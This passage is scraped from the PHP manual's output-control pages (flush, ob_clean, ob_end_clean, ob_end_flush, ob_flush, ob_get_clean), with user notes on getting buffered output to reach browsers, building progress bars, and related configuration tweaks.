If flush() don't work remember to check if you have any antivirus caching the data sent to the browser.
Leon 30-Mar-2007 04:14
I've spent days trying to figure out why flush didn't work all of a sudden, while it used to work perfectly. Apparently, it was McAfee Spamkiller that caused problems. Disabling it didn't work, I had to completely remove it. Hope this helps someone.
Kirk 06-Feb-2007 12:25
If you're not explictly using the buffering functions, then ob_flush() is only necessary if output buffering is turned on in your php.ini file.

flush() is only necessary if implicit_flush is turned off in your php.ini file. Setting implicit_flush to on will remove the need for all these flush() calls, but it's generally only good in an extremely controlled environment. Turning on implicit_flush in a production environment can be bad.
no at spam dot com 03-Aug-2006 11:51
ob_flush();flush();

Not the other way around, because it wont work.
vlad at modomail dot com 05-Apr-2006 06:46
Sorry if this is off topic, but it's the closest place I could find :)  I had an issue with essentially running a CPU intensive task while updating the browser with a progress bar via javascript and flushing the buffer a lot.

When the script was running, it effectively blocked other pages from running.  I had a few extra httpd_preforks processes just waiting to be used, but they just sat there.  I wasn't reading a file, locking database tables or anything that I would suspect an exclusive lock on, just outputting a bunch of text to the browser.  I even tried throttling my loops to see if it was processor related but still had problems.

Finally, I found this in the php.ini file and changed the On to Off and it worked.

[Sockets]
; Use the system read() function instead of the php_read() wrapper.
sockets.use_system_read = Off

Posting in case someone else has the same issue (or if someone knows why this would make a difference :) ).
mega023 at gmail dot com 25-Nov-2005 03:54
If flush is not working probably mod_gzip is enabled.
To disable it just add following lines to .htaccess

<IfModule mod_gzip.c>
mod_gzip_on no
</IfModule>
PuTTYshell 20-Nov-2005 07:06
<?php
  header('Content-type: multipart/x-mixed-replace;boundary=endofsection');
  print "\n--endofsection\n";

  $pmt = array("-", "\\", "|", "/" );
  for( $i = 0; $i <10; $i ++ ){
      sleep(1);
      print "Content-type: text/plain\n\n";
      print "Part $i\t".$pmt[$i % 4];
      print "--endofsection\n";
      ob_flush();
      flush();
  }
  print "Content-type: text/plain\n\n";
  print "The end\n";
  print "--endofsection--\n";
?>
Server Push with "multipart/x-mixed-replace", tested on Firefox 1.07.
This is an example requiring both ob_flush and flush.
mikael at oebb dot net 03-Oct-2005 01:47
Hi all.
Been scratching my head over data NOT flushed to IE (6) even though I tried strpad 4096 chars, all headers OK,  TABLE and no TABLE, flush and ob_flush - still a blank page. Tried adding a sleep(1) before flushing - and everything worked as a charm.

/Mikael
20-Sep-2005 12:37
In my testing, Internet Explorer 6.0 wouldn't flush anything nested in <table> or <td> tags, regardless of padding. But at the <body> level everything flushed with no fuss -- no padding or tags required.

Both Firefox 1.0 and Safari 2.0 could flush within tables, and both required a tag after the text (like <br>). Safari could flush only after the first 1024 characters where received. Firefox needed at least 8 characters per flush (but it could flush anything at the <body> level).

So the only thing that worked on all those browsers was this:

<html>
<body>
<?php  // not in table tags for IE
echo str_pad('',1024);  // minimum start for Safari
for ($i=10; $i>0; $i--) {
    echo str_pad("$i<br>\n",8);
    // tag after text for Safari & Firefox
    // 8 char minimum for Firefox
    flush();  // worked without ob_flush() for me
    sleep(1);
}
?>
</body>
</html>
js at jeansebastien dot com 16-Jul-2005 11:41
This will show each line at a time with a pause of 2 seconds.
(Tested under IEx and Firefox)

<?php

if (ob_get_level() == 0) ob_start();

for ($i = 0; $i<10; $i++){

        echo "<br> Line to show.";
        echo str_pad('',4096)."\n";

        ob_flush();
        flush();
        sleep(2);
}

echo "Done.";

ob_end_flush();

?>
MOELZE ï¿½T GMX DOt DE (Michael) 15-May-2005 04:38
It is a bit complicated to work with the funktion flush() and you have to experiment with it a bit.
So if you design a site which has a timeloop at the end that calls a other site via a form data input (Data Submit) you have
to give something out to the buffer to get that new site loaden quick.

For example:

<?php
$instant=gettimeofday();
$timenow=$instant["sec"];//Start Time

//timeloop(e.g. for security_save after 30 min)
while (1) { echo "<b></b>";//Useless (only to quickload next
                                    //or same Site when do a switch)
flush();                          //giveout buffer
$instant=gettimeofday();
$timeactual=$instant["sec"]; //get Actual Time in Secs
$flag=(($timeactual>$timenow+$diff)? 1:0);//$diff=switchTime
if ($flag) { what_do_at_switch_Time();//Sec.Save etc.etc.
$timenow=$timeactual; } //Set new Start Time
sleep(5); //Or so...(Important)
} //End of while-Loop
?>

So you can programm a security save or other function in your site and if you do a switch the upload of the new or same site (the called site) works...
Alex 22-Apr-2005 02:35
Modified progress bar.. Works in IE, Mozilla+FF.

<html>
<head>
<style type="text/css"><!--

div {
 margin: 1px;
 height: 20px;
 padding: 1px;
 border: 1px solid #000;
 width: 275px;
 background: #fff;
 color: #000;
 float: left;
 clear: right;
 top: 38px;
 z-index: 9
}

.percents {
 background: #FFF;
 border: 1px solid #CCC;
 margin: 1px;
 height: 20px;
 position:absolute;
 width:275px;
 z-index:10;
 left: 10px;
 top: 38px;
 text-align: center;
}

.blocks {
 background: #EEE;
 border: 1px solid #CCC;
 margin: 1px;
 height: 20px;
 width: 10px;
 position: absolute;
 z-index:11;
 left: 12px;
 top: 38px;
 filter: alpha(opacity=50);
 -moz-opacity: 0.5;
 opacity: 0.5;
 -khtml-opacity: .5
}

-->
</style>
</head>
<body>

<?php

if (ob_get_level() == 0) {
    ob_start();
}
echo str_pad('Loading... ',4096)."<br />\n";
for ($i = 0; $i < 25; $i++) {
    $d = $d + 11;
    $m=$d+10;
    //This div will show loading percents
    echo '<div class="percents">' . $i*4 . '%&nbsp;complete</div>';
    //This div will show progress bar
    echo '<div class="blocks" style="left: '.$d.'px">&nbsp;</div>';
    flush();
    ob_flush();
    sleep(1);
}
ob_end_flush();
?>
<div class="percents" style="z-index:12">Done.</div>
</body>
</html>
storm at stormfx dot com 16-Apr-2005 08:25
Remember when trying to output partial content, that PHP's .ini file setting affects whether or not it succeeds, depending on how you code it, of course. Here's an example using a progress bar done soley in PHP:

// Some HTML/CSS to spice up the spaces...
<html>
<head>
<style type="text/css"><!--
.pbar {
    background: #EEE;
    border: 1px solid #CCC;
    margin: 1px;
    height: 10px;
    width: 10px;
}--></style>
</head>
<body>

<?php
// If the buffer is not set to 0, there's no need to call
// ob_start(), because the buffer is started already.
// You can test that by a call to ob_get_level();. Calling it
// again will cause a second level of buffering to start and
// the script won't work.

if (ob_get_level() == 0) {
    ob_start();
}
echo str_pad('Loading... ',4096)."<br />\n";
for ($i = 0; $i < 25; $i++) {
    echo '<span class="pbar">&nbsp;</span>';
    ob_flush();
    usleep(700000);
}
ob_end_flush();

// Close it out...
?>
</body>
</html>

Note: This is just an example. Normally it's bad practice to use the OB like this :)

This was tested with PHP 5.04 on WinXP Pro/IIS 5.1
Marty 14-Apr-2005 08:33
This is an extention of Rusty's comment below:

After sitting here for hours trying to make IE6 flush data out in the middle of a page (with it working perfectly in Firefox), I finally figured out the problem. IE will not display flushed data (even if it has it) unless the table that contains it is complete.

Every new element you want IE to display must not be in ANY kind of table at all. You must end all your tables.
Ghostshaw at spymac dot com 07-Apr-2005 04:45
I would like to point out that there is a function to replace ob_flush and flush. If you set ob_implicit_flush(true); at the top of the page it will automatically flush any echo or print you do in the rest of the script.

Note that you still need a minimum amount of data to come through the browser filter. I would advice using str_pad($text,4096); since this automatically lenghtens the text with spaces to 4 KB which is the minimum limit when using FireFox and linux.

I hope this helps you all out a bit.
matt at nospamplease dot hevanet dot com 21-Mar-2005 10:42
Like IE, Safari needs a fair amount of data before it'll display anything, actually more than explorer.  The following code works for me in Firefox and Safari, and should work in IE as well.

<?php

for($i = 0; $i < 40000; $i++)
{
echo ' '; // extra spaces
}
// keeps it flowing to the browser…
flush();
// 50000 microseconds keeps things flowing in safari, IE, firefox, etc
usleep(50000);

?>

This code came from a comment on a blog discussing browser functionality with flush();
crmacd at yahoo dot com 04-Mar-2005 03:28
I figured out a way to create a simple progress bar that is for the most part cross platform. Seeing as I got my ideas from this site it's only share to give back to the community.

Note: Something interesting about browser buffering... you have to have the <html><body> for Firefox and some other browsers to recognize items by their id in Javascript. So I recommend using some sort of header function before calling this function.

<?php

function fn_progress_bar($intCurrentCount = 100, $intTotalCount = 100)
{
    static $intNumberRuns = 0;
    static $intDisplayedCurrentPercent = 0;
    $strProgressBar = '';
    $dblPercentIncrease = (100 / $intTotalCount);
    $intCurrentPercent = intval($intCurrentCount * $dblPercentIncrease);
    $intNumberRuns++;

    if(1 == $intNumberRuns)
    {
        $strProgressBar = <<< BAR
<table width='50%' id='progress_bar' summary='progress_bar' align='center'><tbody><tr>
<td id='progress_bar_complete' width='0%' align='center' style='background:#CCFFCC;'>&nbsp;</td>
<td style='background:#FFCCCC;'>&nbsp;</td>
</tr></tbody></table>
<script type='text/javascript' language='javascript'>
function dhd_fn_progress_bar_update(intCurrentPercent)
{
    document.getElementById('progress_bar_complete').style.width = intCurrentPercent+'%';
    document.getElementById('progress_bar_complete').innerHTML = intCurrentPercent+'%';
}
</script>
BAR;
    }
    else if($intDisplayedCurrentPercent <> $intCurrentPercent)
    {
        $intDisplayedCurrentPercent = $intCurrentPercent;
        $strProgressBar = <<< BAR
<script type='text/javascript' language='javascript'>
dhd_fn_progress_bar_update($intCurrentPercent);
</script>
BAR;
    }
    if(100 <= $intCurrentPercent)
    {
        $intNumberRuns = $intDisplayedCurrentPercent = 0;
        $strProgressBar = <<< BAR
<script type='text/javascript' language='javascript'>
document.getElementById('progress_bar').style.visibility='hidden';
</script>
BAR;
    }
    echo $strProgressBar;
    flush();
    ob_flush();
}

?>
siggi AT june systems DOT com 04-Mar-2005 07:54
After searching through the PHP site, google and various forums, not finding a solution to my script not outputting anything while calling flush and ob_flush, I thought of trying to tell PHP to call:

session_write_close();

before starting echo'ing. It worked like a charm. I couldn't find any references to this, so I hope this note will help someone in the future.
Squ1sher 01-Feb-2005 12:25
On Windows xampp 1.3 with php 4.3.4 is use this functions
to force a flush.
<?php
function dummyErrorHandler ($errno, $errstr, $errfile, $errline) {
}

function forceFlush() {
    ob_start();
    ob_end_clean();
    flush();
    set_error_handler("dummyErrorHandler");
    ob_end_flush();
    restore_error_handler();
}
?>

ob_end_flush generates a warning, which is supressed, using the dummy-errorhander. You could also use @, but then nusphere will also print the warning.
Rusty 24-Feb-2004 09:25
Netscape will flush the output as expected at the point it is called from within your script. IE, however, needs a boost.

IE seems to have a condition where it will flush data when it hits an end (</table>) tag AND has at least 256 chars of data.

So, pad your output with necessary spaces, wrap your progressing data around open (<table>) and end (</table>) tags, and then call flush() so that one script will work for Netscape as well.

TESTING ENVIRONMENT
IE: Ver/6.0.2800
Netscape: Ver/7.1
PHP: Ver/4.3.4
Apache: Ver/1.3.27
m@rco 29-Oct-2003 07:22
in order to display in HTML pages something like a "progress bar" or if you want to force the web server to flush output to the browser, or the browser to flush as well, you can print a long enough "dummy" string to make the output buffer grow, as you probably know, like:

<?php
print "[";

for($i = 0; $i < 100; $i++){
  $spaces.=" ";
} // for

//and then

for($i = 0; $i < 10; $i++){
  for($ii = 0; $ii < 200000; $ii++){
    //do something slow here
  } // for
  print "$spaces|";
  flush();
} // for

print "]";

/*
but this somethin may be not really what you expect in
a progress bar, as it prints spaces (although rendered as single by the browser) between the bar units..
you can solve this using
  $spaces.="<!-- bufferme -->";

/*

print "[";

for($i = 0; $i < 100; $i++){
  $spaces.="<!-- bufferme -->";
} // for

//and then

for($i = 0; $i < 10; $i++){
  for($ii = 0; $ii < 200000; $ii++){
    //do something slow here
  } // for
  print "$spaces|";
  flush();
} // for

print "]";

//which looks nice as a progress bar..
?>
scottmacvicar at ntlworld dot com 30-Sep-2003 07:40
Regarding Apache2
flush() will produce the same results as ob_flush() when output buffering is involved.
Output Control Functions
ob_clean
Output Control Functions


Clean (erase) the output buffer

flush
ob_end_clean
Output Control Functions
PHP Manual

ob_clean

(PHP 4 >= 4.2.0, PHP 5)

ob_clean — Clean (erase) the output buffer

Description

void ob_clean ( void )

This function discards the contents of the output buffer.

This function does not destroy the output buffer like ob_end_clean() does.

Return Values

No value is returned.

See Also

  • ob_flush() - Flush (send) the output buffer
  • ob_end_flush() - Flush (send) the output buffer and turn off output buffering
  • ob_end_clean() - Clean (erase) the output buffer and turn off output buffering

User Contributed Notes

lev at taintedthoughts dot com 12-Jun-2007 02:23
I find this function incredibly useful when manipulating or creating images in php (with GD).

I spent quite a while searching through a large number of included files to find where I had a undesired space after php's ending tag - as this was causing all my images on the fly to break due to output already being set. Even more annoying was that this was not caught not php's error reporting so there was no reference to the problem line(s) in my log file. I don't know why error reporting wouldn't catch this since it was set to accept warnings, and the same thing had been caught in the past.

Nevertheless, I never did find the line(s) that were adding extra spaces or new lines before my images were being generated, but what I did instead was add this handy function right before my image manipulation code and right after the include/require code.

For example:

<?php

// require some external library files
require ("lib/somelibrary.php");
require ("lib/class/someclass.php");

// clean the output buffer
ob_clean();

// simple test image
header("Content-type: image/gif");
$im = imagecreate (100, 50);
imagegif($im);
imagedestroy($im);

?>

While this may seem trivial a trivial use of the function, it in fact is incredibly useful for insuring no extra spaces or new lines have already been output while making images in php. As many of you probably already know, extra lines, spacing and padding that appears prior to image-code will prevent the image from being created. If the file "lib/somelibrary.php" had so much as an extra new line after the closing php tag then it would completely prevent the image from working in the above script.

If you work on an extremely large project with a lot of source and required files, like myself, you will be well-advised to always clear the output buffer prior to creating an image in php.
cipri at php dot net 29-Jun-2004 09:54
In Re: to Anonymous at 14-Jan-2003.

You can't mimic the behaviour 100% by using that combination of function calls(ob_end_clean() && ob_start()), since outputhandlers may be defined already by the initial ob_start, which may not work as expected when called twice.
kouber at php dot net 11-May-2004 05:05
Although it is mentioned in the manual, you have to be careful when using output buffering in big cycles (such as mass mail sending scripts), because ob_clean() actually does not free any memory, and with each iteration the amount of memory allocated from your script will increase significantly. Instead of calling ob_clean() at the end of the cycle, you have to either use ob_get_clean(), which is a combination of ob_get_contents() and ob_end_clean(), or just ob_end_clean() to free the memory. Try the following test to see the difference:

<?php
for ($i=0; $i<10; $i++) {
  ob_start();

  echo "This is iteration $i: ";

  // * Don't do this!
  // $buf = ob_get_contents();
  // ob_clean();

  // * Use this instead:
  $buf = ob_get_clean();

  echo $buf;

  echo memory_get_usage()."\n";
}
?>
14-Jan-2003 08:23
As far as I can tell the only way to mimic ob_clean()'s behaviour on PHP < 4.2.0 is calling ob_end_clean() followed by ob_start().
flush
ob_end_clean
Output Control Functions


Clean (erase) the output buffer and turn off output buffering

ob_clean
ob_end_flush
Output Control Functions
PHP Manual

ob_end_clean

(PHP 4, PHP 5)

ob_end_clean — Clean (erase) the output buffer and turn off output buffering

Description

bool ob_end_clean ( void )

This function discards the contents of the topmost output buffer and turns off this output buffering. If you want to further process the buffer's contents you have to call ob_get_contents() before ob_end_clean() as the buffer contents are discarded when ob_end_clean() is called.

Return Values

Returns TRUE on success or FALSE on failure. Reasons for failure are first that you called the function without an active buffer or that for some reason a buffer could not be deleted (possible for special buffer).

Errors/Exceptions

If the function fails it generates an E_NOTICE.

Changelog

Version | Description
4.2.0 | The boolean return value was added.

Examples

The following example shows an easy way to get rid of all output buffers:

Example #1 ob_end_clean() example

<?php
ob_start();
echo 'Text that won\'t get displayed.';
ob_end_clean();
?>

See Also

  • ob_start() - Turn on output buffering
  • ob_get_contents() - Return the contents of the output buffer
  • ob_flush() - Flush (send) the output buffer

User Contributed Notes

Sam Yong - hellclanner at live dot com 04-May-2011 10:14
Take note that if you change zlib output compression setting in between ob_start and ob_end_clean or ob_end_flush, you will get an error: ob_end_flush() failed to delete buffer zlib output compression

Example:

<?php

ob_start();

$output = ob_get_contents();

ini_set('zlib.output_compression', '1');

ob_end_clean();

?>

ob_end_clean(); in this example will throw the error.
netom at elte dot hu 21-Jan-2010 04:02
Notice that ob_end_clean() does discard headers.

If you would like to clear the output buffer, but not the headers (because you use firephp for example...), than this is the solution:

<?php
   ...

    $headers = array();
    if ( !headers_sent() ) {
      $headers = apache_response_headers();
    }

    ob_end_clean();
    ob_start();

    if ( !empty( $headers ) ) {
      foreach ( $headers as $name => $value ) {
        header( "$name: $value" );
      }
    }

   ...
?>

I use it in a general exception handler in a web application, where I clear the buffer (but not the debug-info-containing headers), and send a 500 error page with readfile().

Good PHPing,

Tamas.
tyler @ 10-Aug-2008 04:39
In reference to <geoff at spacevs dot com> where he states, "If you call ob_end_clean in a function registered with 'register_shutdown_function', it is too late, any buffers will have already been sent out to the client.", here is a workaround I came up with.

<?php

function ClearBuffer($Buffer) {
    return "";
}

function Shutdown() {
    ob_start("ClearBuffer");
}

register_shutdown_function("Shutdown");

?>

This will wipe out all the contents of the output buffer as it comes in. Basically its the same as "STDOUT > /dev/null".
geoff at spacevs dot com 22-Jul-2007 05:47
If you call ob_end_clean in a function registered with "register_shutdown_function", it is too late, any buffers will have already been sent out to the client.
everling 11-Nov-2006 02:04
Keep in mind that mrfritz379's example (#49800) is just an example. You can achieve that example's result in a more efficient manner without using output buffering functions:

echo "<p>Search running. Please be patient. . .";
$output = "<p>FileList: </p>\n";
if (is_dir($dir)) {
  $dh = opendir($dir);

  while (($fd = readdir($dh)) != false) {
    echo " .";
    $output .= $fd;
  }
}
echo "</br>Search Complete!</p>\n";
echo $output;

In addition to John Smith's comment (#42939), ob_gzhandler() may still set the HTTP header "Content-Encoding" to "gzip" or "deflate" even if you call ob_end_clean(). This will cause a problem in the following situation:

1. Call ob_gzhandler().
2. Echo "Some content";
3. Call ob_end_clean().
4. Echo "New content";

In the above case, the browser may receive the "Content-Encoding: gzip" HTTP header and attempts to decompress the uncompressed "New content". The browser will fail.

In the following situation, this behaviour will go unnoticed:

1. Call ob_gzhandler().
2. Echo "Some content";
3. Call ob_end_clean().
4. Call ob_gzhandler().
5. Echo "New content";

This is because the second ob_gzhandler() will mask the absence of the first ob_gzhandler().

A solution would be to write a wrapper, like John Smith did, for the ob_gzhandler().
Adam of Fusion Bay 18-May-2006 12:38
You may want to be careful about calling ob_end_clean() from within your call-back function. I believe this can produce an endless-loop within PHP.
mrfritz379 08-Feb-2005 06:14
This may be posted elsewhere, but I haven't seen it.
To run a progress indicator while the program is running without outputting the output buffer, the following will work:

echo "<p>Search running. Please be patient. . .";
$output = "<p>FileList: </p>\n";
if (is_dir($dir)) {
   $dh = opendir($dir);

   while (($fd = readdir($dh)) != false) {
      echo " .";
      ob_start();
      echo $fd;
      $output .= ob_get_contents();
      ob_end_clean();
    }
}
echo "</br>Search Complete!</p>\n";
echo $output;

The program will continue to print the " ." without printing the file list. Then the "Search Complete" message will print followed by the buffered file list.
John Smith 04-Jun-2004 04:39
Note that if you started called ob_start with a callback, that callback will still be called even if you discard the OB with ob_end_clean.

Because there is no way of removing the callback from the OB once you've set it, the only way to stop the callback function from having any effect is to do something like:

<?php
$ignore_callback = false;
ob_start('my_callback');
...
if($need_to_abort) {
   $ignore_callback = true;
   ob_end_clean();
   ...
}

function my_callback(&$buffer) {
  if($GLOBALS['ignore_callback']) {
     return "";
  }
  ...
}
?>
daijoubuNOSP at Mvideotron dot com 22-Feb-2004 01:11
About the previous comment:
You can also relay on ETag and simply use time()

<?php
$time = time();
$mins = 1;
if (isset($_SERVER['HTTP_IF_NONE_MATCH']) and str_replace('"', '', $_SERVER['HTTP_IF_NONE_MATCH'])+($mins*60) > $time)
{
    header('HTTP/1.1 304 Not Modified');
    exit();
}
else
{
    header('ETag: "'.$time.'"');
}
echo 'Caching for ', $mins*60, 'secs<br/>', date('G:i:s');
?>
programmer at bardware dot de 27-Jun-2003 06:32
You might want to prevent your script from executing if the client already has the latest version.
You can do it like so:

ob_start();

$mtime=filemtime($_SERVER["SCRIPT_FILENAME"])-date("Z");
$gmt_mtime = date('D, d M Y H:i:s', $mtime) . ' GMT';

$headers = getallheaders();

if(isset($headers["If-Modified-Since"])) {
    if ($headers["If-Modified-Since"] == $gmt_mtime) {
        header("HTTP/1.1 304 Not Modified");
        ob_end_clean();
        exit;
    }
}

$size=ob_get_length();
header("Last-Modified: ".$gmt_mtime);
header("Content-Length: $size");
ob_end_flush();

Instead of checking the If-Modified-Since-Header against the date of the last modification of the script, you can of course query a database or take any other date that is somehow related to the modification of the result of your script.

You can for instance use this technique to generate images dynamically. If the user indicates he already has a version of the image by the If-Modified-Since-Header, there's no need to generate it and let the server finally discard it because the server only then interpretes the If-Modified-Since-Header.
This saves server load and shortens response-times.
ob_clean
ob_end_flush
Output Control Functions


Flush (send) the output buffer and turn off output buffering

ob_end_clean
ob_flush
Output Control Functions
PHP Manual

ob_end_flush

(PHP 4, PHP 5)

ob_end_flush — Flush (send) the output buffer and turn off output buffering

Description

bool ob_end_flush ( void )

This function will send the contents of the topmost output buffer (if any) and turn this output buffer off. If you want to further process the buffer's contents you have to call ob_get_contents() before ob_end_flush() as the buffer contents are discarded after ob_end_flush() is called.

Note: This function is similar to ob_get_flush(), except that ob_get_flush() returns the buffer as a string.

Return Values

Returns TRUE on success or FALSE on failure. Reasons for failure are first that you called the function without an active buffer or that for some reason a buffer could not be deleted (possible for special buffer).

Errors/Exceptions

If the function fails it generates an E_NOTICE.

Changelog

Version | Description
4.2.0 | The boolean return value was added.

Examples

Example #1 ob_end_flush() example

The following example shows an easy way to flush and end all output buffers:

<?php
  while (@ob_end_flush());
?>

See Also

  • ob_start() - Turn on output buffering
  • ob_get_contents() - Return the contents of the output buffer
  • ob_get_flush() - Flush the output buffer, return it as a string and turn off output buffering
  • ob_flush() - Flush (send) the output buffer
  • ob_end_clean() - Clean (erase) the output buffer and turn off output buffering

User Contributed Notes

anatoliy at miraline dot com 11-Apr-2011 09:06
If you enable zlib.output_compression then level count will be increased by 1 and then this code:

<?php while (ob_get_level()) { ob_end_clean(); } ?>

will just freeze your script.
Mark 24-Jun-2010 01:49
Wanted to speed things up and put some processing after the page has been delivered to the client. That drove me almost insane, but finally, I found a solution (php 5.2.5):

<?php
ob_start(); // outer buffer
ob_start(); // inner buffer to catch URL rewrites and other post processing
session_start(); // registers URL rewriter with inner buffer!
echo '...';
// log performance data to log files *after* delivering the page!
register_shutdown_function(array($benchmarkclass,'log_perf_data'));
// now flush output output to client
ob_end_flush();
// need to calculate content length *after* URL rewrite!
header("Content-length: ".ob_get_length());
ob_end_flush();
// now we close the session and do some arbitrary clean-up tasks
// registered using register_shutdown_function()
session_write_close();
?>
unxed 06-Mar-2010 06:50
Remember that chromium browser (and maybe other webkit-based browsers) have some issues with ob_end_flush.

http://code.google.com/p/chromium/issues/detail?id=31410

You may use
header("Content-Type: text/plain");
to solve those issues if you do not need html.
shanep 21-Jan-2010 09:31
It appears that ob_end_flush() is very important if you are looping.  For instance if you are using a mass mailer that uses the output buffer for creating HTML content.  Use ob_end_flush() to avoid server errors.
skippy at zuavra dot net 01-Jul-2005 02:10
Apart from being mostly redundant, ob_end_flush() can be downright damaging in some weird cases.

Actual example: a particular page on an Intranet website which would appear blank on Internet Explorer 6 when ob_start('ob_gzhandler') was called in the beginning and ob_end_flush() at the end.

We couldn't figure out what made that page special no matter what we tried. The ob_ functions were placed in scripts which were include()'d by all pages just the same, but only that page did this.

Even stranger, the problem only appeared on direct browser/server connections. Whenever the connection passed through a proxy the problem dissapeared. I'm guessing some kind of HTTP encoding headers mumbo-jumbo.

Solution: unless you really need it in particular cases, remove the ob_end_flush() call and rely on the builtin, automatic buffer flush.
jhannus at 128kb dot com 05-Jun-2004 09:18
A note on the above example...

with PHP 4 >= 4.2.0, PHP 5 you can use a combination of ob_get_level() and ob_end_flush() to avoid using the @ (error suppresion) which should probably be a little faaster.

<?php

while (ob_get_level() > 0) {
    ob_end_flush();
}

?>
kriek at jonkriek dot com 29-Mar-2003 09:22
ob_end_flush() isn't needed in MOST cases because it is called automatically at the end of script execution by PHP itself when output buffering is turned on either in the php.ini or by calling ob_start().
brett at realestate-school dot com 26-Sep-2002 01:01
It appears that you can call ob_end_flush() regardless of whether or not output buffering was ever started using ob_start(). This can prove useful because it saves you from having to create conditional statements based on whether a particular function or include file has started output buffering. You can simply call the ob_end_flush() anyway and if there's output in the buffer, it will be sent, otherwise your script will just keep on keepin' on.
ob_end_clean
ob_flush
Output Control Functions


Flush (send) the output buffer

ob_end_flush
ob_get_clean
Output Control Functions
PHP Manual

ob_flush

(PHP 4 >= 4.2.0, PHP 5)

ob_flush — Flush (send) the output buffer

Description

void ob_flush ( void )

This function will send the contents of the output buffer (if any). If you want to further process the buffer's contents you have to call ob_get_contents() before ob_flush() as the buffer contents are discarded after ob_flush() is called.

This function does not destroy the output buffer like ob_end_flush() does.

Return Values

No value is returned.

See Also

  • ob_get_contents() - Return the contents of the output buffer
  • ob_clean() - Clean (erase) the output buffer
  • ob_end_flush() - Flush (send) the output buffer and turn off output buffering
  • ob_end_clean() - Clean (erase) the output buffer and turn off output buffering

User Contributed Notes

riimeik 17-Oct-2010 01:44
If you're still not getting the buffer work correctly then try to clean all the others before starting your own (and even if PHP tells you that there are no buffers active):

while(@ob_end_clean());
sebastian at jcompare dot com 26-Apr-2009 07:05
For some reason, calling just flush or ob_flush or even both together did not get my output buffers flushed, and calling ob_end_flush by itself didn't work either but calling them all worked well. Here is my new output flushing function.

<?php
function flush_buffers(){
    ob_end_flush();
    ob_flush();
    flush();
    ob_start();
}
?>

Enjoy
Jens 29-Oct-2008 07:01
If you call ob_flush() and flush() and still dont get the buffer flushed it might be because some antivirus software (Panda in this case) holds the buffer until the page has finished loaded before sending it to the browser.
Lucas 27-Aug-2008 03:13
I just had some problems with flush() and ob_flush(). What I did to resolve this problem took me some time to figure out so I'd like to share what I came up with.

The main problem is the php setting "output_buffering" which can be set too large and will prevent your text from outputting. To change this value you can either set it in php.ini or you can add the line

php_value output_buffering "0"

to your .htaccess file. It will not work with ini_set() since it is PHP_INI_PERDIR.

Next thing is to begin with ob_start();
Then you need
ob_flush();
flush();
before any echo or print.

Your code might look like this:

<?php
ob_start();

for($i=0;$i<70;$i++)
{
    echo 'printing...<br />';
    ob_flush();
    flush();

    usleep(300000);
}

?>

Hope this helps anyone with the same problems.
colnector at@ colnect punto com 08-Jul-2008 04:35
As stated in flush() manual entry, if php compresses the ouput with zlib this function may be ineffective.

A possible option for folders on your server that have scripts which may take a long time to run is to add the following in your relevant .htaccess file:

<FilesMatch "\.(php|html?)$">
php_flag zlib.output_compression off
php_value max_execution_time 3000
php_value max_input_time 3000
</FilesMatch>
kel at no-spam dot newcastleinfotech dot com dot au 05-Jun-2008 09:33
Also note that any data in the buffer will flush at the end of the script, not destroyed, so it is often not necessary to call ob_flush(); for example:

<?php
ob_start();
echo 'Hello World!'
?>

Will still result in Hello World! being displayed to the browser.
matt at ihaventthefoggiest dot com 22-May-2008 12:25
Just to note, I don't think image output functions (imagejpeg, imagegif etc) are caught by ob. This code:
<?php
ob_start();
$im = imagecreateturecolor(100,20);
$white = imagecolorallocate($error_im,255,255,255);
$black = imagecolorallocate($error_im,0,0,0);
imagefttext($im,12,0,0,0,$black,'font.ttf','Hello, world!');
imagegif($im);
ob_flush();
?>
will still produce a black on white image saying "Hello, world!"
solidli at gmail dot com 23-May-2007 09:28
Use an '@' sign as "@ob_flush();" to avoid the following message:

Notice: ob_flush(): failed to flush buffer. No buffer to flush. in /etc/www/test.php on line 88
21-Sep-2005 06:37
I was having problems with output buffering which seemed to be active by default on the server, although phpinfo said something else..

In any case I needed to know that when I ran ob_start, it would start at the top level, so I could use ob_flush as it's intended without having to call multiple ob_flush in-script - this is what I did:

<?php

// make sure output buffering is off before we start it
// this will ensure same effect whether or not ob is enabled already
while (ob_get_level()) {
    ob_end_flush();
}
// start output buffering
if (ob_get_length() === false) {
    ob_start();
}

?>

Then I could call ob_flush(); followed by flush(); and get the output I wanted, which I didn't if I started the script with just ob_start();

This was on a windows apache 2 server with php 5.0.4 btw.
24-Jun-2005 06:27
You must call them in the correct order.
ob_flush();
flush();
Reynard Hilman 22-Jun-2005 02:29
when using command line php, if somewhere in your script you have ob_start(), you have to call ob_end_flush() first, and then you can call these functions:
flush();
ob_flush();

without calling ob_end_flush first, flush and ob_flush does not have any effect, at least that's what I experienced.
jeremy at e2-media dot co dot nz 25-May-2005 04:09
we had problems with flushing data to the browser. a simple call to ob_flush() or flush() would not work. We found that repeatly calling theses fuctions did work however.

<?
flush();
ob_flush();
flush();
ob_flush();
flush();
ob_flush();
?>

go figure!
14-Jan-2003 08:23
As far as I can tell the only way to mimic ob_flush()'s behaviour on PHP < 4.2.0 is calling ob_end_flush() followed by ob_start().
ob_end_flush
ob_get_clean
Output Control Functions


Get current buffer contents and delete current output buffer

ob_flush
ob_get_contents
Output Control Functions
PHP Manual

ob_get_clean

(PHP 4 >= 4.3.0, PHP 5)

ob_get_clean — Get current buffer contents and delete current output buffer

Description

string ob_get_clean ( void )

Gets the current buffer contents and delete current output buffer.

ob_get_clean() essentially executes both
ob_get_contents() and
ob_end_clean().

Return Values

Returns the contents of the output buffer and end output buffering. If output buffering isn't active then FALSE is returned.

Examples

Example #1 A simple ob_get_clean() example

<?php

ob_start();

echo "Hello World";

$out = ob_get_clean();
$out = strtolower($out);

var_dump($out);
?>

The above example will output:

string(11) "hello world"

See Also

  • ob_get_contents() - Return the contents of the output buffer
  • ob_start() - Turn on output buffering

User Contributed Notes

steven at bielik dot com 21-Feb-2011 11:57
Also, don't forget that you will need to ob_start() again for any successive calls:

<?php
ob_start();
echo "1";
$content = ob_get_clean();

ob_start(); // This is NECESSARY for the next ob_get_clean() to work as intended.
echo "2";
$content .= ob_get_clean();

echo $content;
?>

Output: 12

Without the second ob_start(), the output is 21 ...
56ka dot prog at gmail dot com 13-Sep-2010 05:27
Hi

Warning, this command isn't exactly like ob_get_contents() and ob_end_clean() successively. Sometimes you will have to do these two commands manually.

Today I lost 2 hours to localize that problem and to find the solution -_-'

See you
profix at cms-studio dot net 09-Jul-2008 07:01
Maybe it can be useful

$__ob_stack=array();

function ob_break() {
global $__ob_stack;
while (ob_get_level()>0)
  array_push($__ob_stack,ob_get_clean());
}

function ob_continue() {
global $__ob_stack;
while (count($__ob_stack)>0) {
